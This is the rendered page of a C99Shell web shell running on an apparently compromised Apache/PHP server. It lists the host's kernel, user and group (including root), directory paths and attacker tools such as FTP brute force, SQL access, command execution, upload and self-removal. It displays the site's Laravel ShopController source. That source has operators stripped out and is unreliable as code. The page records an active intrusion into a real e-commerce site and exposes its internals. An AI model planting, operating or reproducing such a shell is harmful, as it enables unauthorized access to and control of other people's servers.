!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Shop/Http/Controllers/Api/   drwxr-xr-x
Free 27.62 GB of 117.98 GB (23.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ShopController.php (6.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package ShopController
 * @author TechVillage <support@techvill.org>
 * @contributor Al Mamun <[almamun.techvill@gmail.com]>
 * @created 28-09-2021
 */

namespace Modules\Shop\Http\Controllers\Api;

use 
Illuminate\Http\Request;
use 
Modules\Shop\Http\Models\Shop;
use 
App\Http\Controllers\Controller;
use 
Modules\Shop\Http\Resources\ShopResource;

class 
ShopController extends Controller
{
    
/**
     * Shop List
     *
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$shops Shop::with('vendor');

        
$vendor = isset($request->vendor) ? trim(xss_clean($request->vendor)) : null;
        if (!empty(
$vendor)) {
            
$shops->whereHas("vendor", function ($q) use ($vendor) {
                
$q->where('name'strtolower($vendor));
            })->
with('vendor');
        }

        
$name = isset($request->name) ? trim(xss_clean($request->name)) : null;
        if (!empty(
$name)) {
            
$shops->where('name'strtolower($name));
        }

        
$email = isset($request->email) ? trim(xss_clean($request->email)) : null;
        if (!empty(
$email)) {
            
$shops->where('email'strtolower($email));
        }

        
$website = isset($request->website) ? trim(xss_clean($request->website)) : null;
        if (!empty(
$website)) {
            
$shops->where('website'strtolower($website));
        }

        
$alias = isset($request->alias) ? trim(xss_clean($request->alias)) : null;
        if (!empty(
$alias)) {
            
$shops->where('alias'strtolower($alias));
        }

        
$phone = isset($request->phone) ? trim(xss_clean($request->phone)) : null;
        if (!empty(
$phone)) {
            
$shops->where('phone'strtolower($phone));
        }

        
$fax = isset($request->fax) ? trim(xss_clean($request->fax)) : null;
        if (!empty(
$fax)) {
            
$shops->where('fax'strtolower($fax));
        }

        
$address = isset($request->address) ? trim(xss_clean($request->address)) : null;
        if (!empty(
$address)) {
            
$shops->where('address'strtolower($address));
        }

        
$description = isset($request->description) ? trim(xss_clean($request->description)) : null;
        if (!empty(
$description)) {
            
$shops->where('description'strtolower($description));
        }

        
$status = isset($request->status) ? trim(xss_clean($request->status)) : null;
        if (!empty(
$status)) {
            
$shops->where('status'strtolower($status));
        }

        
$keyword = isset($request->keyword) ? trim(xss_clean($request->keyword)) : null;
        if (!empty(
$keyword)) {
            if (
preg_match('/^[1-9]+[0-9]*$/'$keyword)) {
                
$shops->where(function ($query) use ($keyword) {
                    
$query->where('id'$keyword);
                });
            } else if (
strlen($keyword) >= 2) {
                
$shops->where(function ($query) use ($keyword) {
                    
$query->where('name''LIKE''%' $keyword '%')
                        ->
orwhereHas("vendor", function ($q) use ($keyword) {
                            
$q->where('name''LIKE'"%" $keyword "%");
                        })->
with('vendor')
                        ->
orwhere('email''LIKE''%' $keyword '%')
                        ->
orwhere('website''LIKE''%' $keyword '%')
                        ->
orwhere('alias''LIKE''%' $keyword '%')
                        ->
orwhere('phone''LIKE''%' $keyword '%')
                        ->
orwhere('fax''LIKE''%' $keyword '%')
                        ->
orwhere('address''LIKE''%' $keyword '%')
                        ->
orwhere('description''LIKE''%' $keyword '%')
                        ->
orwhere('status''LIKE''%' $keyword '%');
                });
            }
        }
        return 
$this->response([
            
'data' => ShopResource::collection($shops->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($shops->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Store Shop
     *
     * @param Request $request
     * @return json $data
     */
    
public function store(Request $request)
    {
        
$validator Shop::storeValidation($request->all());
        if (
$validator->fails()) {
            return 
$this->unprocessableResponse($validator->messages());
        }
        if ((new 
Shop)->store($request->all())) {
            return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Shop')]));
        }
        return 
$this->errorResponse();
    }

    
/**
     * Detail Shop
     *
     * @param Request $request
     * @return json $response
     */
    
public function detail($id)
    {
        
$response $this->checkExistence($id'shops');
        
$shopData Shop::getAll()->where('id'$id)->first();
        if (
$response['status'] === true && !empty($shopData)) {
            return 
$this->response(['data' => new ShopResource($shopData)]);
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Update Shop Information
     *
     * @param Request $request
     * @param $id
     * @return json $response
     */
    
public function update(Request $request$id)
    {
        
$response $this->checkExistence($id'shops');
        if (
$response['status'] === true) {
            
$validator Shop::updateValidation($request->all(), $id);
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }
            if ((new 
Shop)->updateShop($request->all(), $id)) {
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Shop')]));
            } else {
                return 
$this->okResponse([], __('No changes found.'));
            }
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Remove the specified Shop from db.
     *
     * @param Request $id
     * @return json $response
     */
    
public function destroy($id)
    {
        
$response $this->checkExistence($id'shops');
        if (
$response['status'] === true) {
            
$result  = (new Shop)->remove($id);
            return 
$this->okResponse([], $result['message']);
        }
        return 
$this->response([], 204$response['message']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.006 ]--